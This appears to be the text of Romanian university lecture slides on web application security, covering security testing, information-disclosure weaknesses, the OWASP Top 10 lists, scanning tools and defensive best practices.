datele obținute de la utilizator trebuie tratate
ca fiind sigure și confidențiale
ce date vor fi disponibile în cache-ul clientului?
cookie-urile pot conține date sensibile,
posibil de exploatat de persoane rău-voitoare?
cum se invalidează cache-ul?
avansat

Teste privitoare la integrarea componentelor:
gradul de securitate al unei aplicații
este dat de gradul de securitate
al celei mai vulnerabile componente

Teste privitoare la integrarea componentelor:
gradul de securitate al unei aplicații
este dat de gradul de securitate
al celei mai vulnerabile componente
neverificarea validității identificatorului de utilizator
în cazul unei cereri survenite, pe baza faptului că
această verificare s-a efectuat deja la nivelul browser-ului

Teste privind opacizarea datelor (obfuscation):
datele nu trebuie stocate în locații predictibile
conținutul propriu-zis al sitului poate conduce
la probleme de securitate (information disclosure)
avansat

Breșe referitoare la information disclosure:
accesarea câmpurilor ascunse ale formularelor Web
și/sau
a comentariilor din codul-sursă HTML, CSS, JavaScript
avansat

consultarea fișierului robots.txt
scanarea fișierelor de configurare sau a directoarelor
temporare – e.g., rapoarte ale traficului
User-agent: *
Disallow: /plenum/data/5510903.doc
Disallow: organization/193959.pdf
Disallow: /en/community/thread/12819
…
detalii la http://thiébaud.fr/robots.txt.html
avansat

mesajele de eroare emise de aplicațiile Web
fișierele având extensii incorecte
acces la codul-sursă al script-urilor de pe server
vizualizarea conținutului directoarelor serverului
scanarea traficului de rețea
(URI-uri, date XML/JSON transmise asincron,…)
avansat

acces nedorit la datele privind erorile survenite +
codul-sursă al unei aplicații Web
(aici, Node.js recurgând la framework-ul Express)
avansat

Teste specifice legate de exploatare:
pregătirea judicioasă a exploatării în practică
(deployment)
detectarea problemelor de flux
tratarea corespunzătoare a codurilor HTTP 4xx și 5xx,
acces la resurse autentificate (e.g., obținerea unor date
fără autentificarea prealabilă a utilizatorului),
execuția anormală a script-urilor etc.
avansat

Teste specifice legate de exploatare:
testarea interacțiunii cu aplicația Web
programe simulând vizitatori virtuali
de experimentat Selenium – www.seleniumhq.org
realizarea testelor de încărcare (load testing)
scenarii și interpretarea rezultatelor
avansat

Instrumentele de stresare (stressing tools)
pot oferi informații privitoare la…
performanță
e.g., timp de răspuns, timp de generare a conținutului etc.
S. Buraga, Performanţa aplicaţiilor Web la nivel de client
http://profs.info.uaic.ro/~busaco/teach/courses/cliw/web-film.html#week12
avansat

scalabilitate
memorie ocupată, utilizarea discului, numărul de
conexiuni privind alte servicii, comportament etc.
avansat

corectitudine
rapoarte privind funcționarea
(eronată a) unor componente
e.g., pe baza fișierelor de jurnalizare (log-uri)
avansat

lacune de securitate
avansat

instrumente (exemple)
AppScan, skipfish, w3af, WebInspect
scanare de vulnerabilități
Burp, Paros, WebScarab
suite de testare Web
instrumentele native pentru dezvoltatori
oferite de navigatoarele Web + extensii specifice
a se consulta și http://sectools.org/tag/web-scanners/
avansat

de reținut
Securitatea unei aplicații Web:
trebuie să ia în considerație arhitectura,
funcționalitatea, codul-sursă
și conținutul în ansamblu

de reținut
Securitatea unei aplicații Web:
nu vizează vulnerabilitățile sistemului de operare
ori ale programelor auxiliare

de reținut
Vulnerabilitățile unei aplicații Web
nu sunt neapărat „celebre”
și pot fi independente deseori de securitatea
sistemului pe care este exploatat situl

de reținut
Tipuri de vulnerabilități Web tipice:
probleme de autentificare
managementul sesiunilor
injectarea de script-uri (XSS) ori comenzi SQL

de reținut
Tipuri de vulnerabilități Web tipice:
expunerea – involuntară – a informațiilor „delicate”
(information disclosure)
accesul la codul-sursă ori la fișierele de configurare
managementul incorect al configurației aplicației

de reținut
Lista vulnerabilităților Internet, inclusiv Web:
peste 60 de mii de vulnerabilități (mai 2014)
mai mult de 81 de mii de vulnerabilități (mai 2015)
www.cve.mitre.org/cve/cve.html
avansat

OWASP Top 10 2013 Web Application Vulnerabilities
Injection
Broken Authentication and Session Management
Cross Site Scripting (XSS)
Insecure Direct Object References
Security Misconfiguration
Sensitive Data Exposure
Missing Function Level Access Control
Cross Site Request Forgery (CSRF)
Using Known Vulnerable Components
Unvalidated Redirects and Forwards
www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

avansat
factori de risc asociați celor mai importante vulnerabilități

OWASP Mobile Top 10 2016 (varianta preliminară)
Improper Platform Usage
Insecure Data Storage
Insecure Communication
Insecure Authentication
Insufficient Cryptography
Insecure Authorization
Client Code Quality
Code Tampering
Reverse Engineering
Extraneous Functionality
www.owasp.org/index.php/Mobile_Top_10_2016-Top_10

de reținut
Principii de securitate a aplicațiilor Web
separarea serviciilor
sisteme diferite pentru server Web,
server de aplicații, server de stocare (baze de date) etc.

de reținut
limitarea privilegiilor
la nivel de sistem de fișiere,
pentru baze de date,
acordarea de permisiuni utilizatorilor
sub care rulează aplicațiile – e.g., Apache, Tomcat,…

de reținut
ascundere a secretelor – e.g., parole, SID-uri,…
recurgere la biblioteci standard
menținere & studiere a fișierelor de jurnalizare (log-uri)
efectuare de teste și ajustări (Web tunning)
actualizate!

de reținut
Reguli/bune practici (Sverre Huseby, 2004):
Do not underestimate the power of the dark side
Use POST requests when actions have side effects
In a server-side context,
there is no such thing as client-side security
Always generate a new session ID once the user logs in
avansat

de reținut
Never pass detailed error messages to the client
Identify every possible meta-character to a subsystem
When possible, pass data separate from
control information
Do not blindly trust the API documentation
avansat

de reținut
Identify all sources of input to the application
When filtering data, use white-listing
rather than black-listing
Create application-level logs
Never use client-side scripts for security
avansat

de reținut
Pass as little internal state information as possible
to the client
Don’t assume that requests will come in a certain order
Filter all data before including them in a Web page,
no matter what the origin
avansat

de reținut
Stick to existing cryptographic algorithms,
do not create your own
Never store clear-text passwords
Assume that server-side code is available to attackers
Security is not a product; it is a process
avansat

de reținut
Riscurile de securitate nu vizează doar
proprietarul sitului/aplicației Web,
ci și utilizatorul final

de reținut
Riscurile de securitate nu vizează doar
proprietarul sitului/aplicației Web,
ci și utilizatorul final
exemplificări tipice:
spionare a utilizatorului (user tracking)
includere de mesaje promoționale (ad injection malware)
http://ieee-security.org/TC/SPW2015/W2SP/
http://googleonlinesecurity.blogspot.com/
avansat

de reținut
Disconforturi cauzate de un sit nesigur:
financiare – pierdere de bani/informații
de performanță – e.g., blocarea/încetinirea acțiunilor
psihologice – insatisfacțieinfluență asupra UX
sociale – e.g., incapacitatea de muncă, lipsa comunicării,…
de timp – navigare greoaie, deturnare spre alt sit etc.

de reținut
Modelul de securitate implementat de navigatoare
este inadecvat aplicațiilor Web actuale
navigatorul Web trebuie considerat nesigur
uzual, browser-ele Web nu previn tentativele de atac
“An ad or a widget or an Ajax library gets
the same rights as the site’s own scripts.”
Douglas Crockford
avansat

Tehnologii Web
securitatea aplicațiilor Web
☣punerea problemei, tipuri de atacuri,
vulnerabilități, prevenire, reguli de bună practică

Mult succes!

Web 2016 (13/13) Securitatea aplicațiilor Web

More Related Content

Similar to Web 2016 (13/13) Securitatea aplicațiilor Web (20)

More from Sabin Buraga (20)

Web 2016 (13/13) Securitatea aplicațiilor Web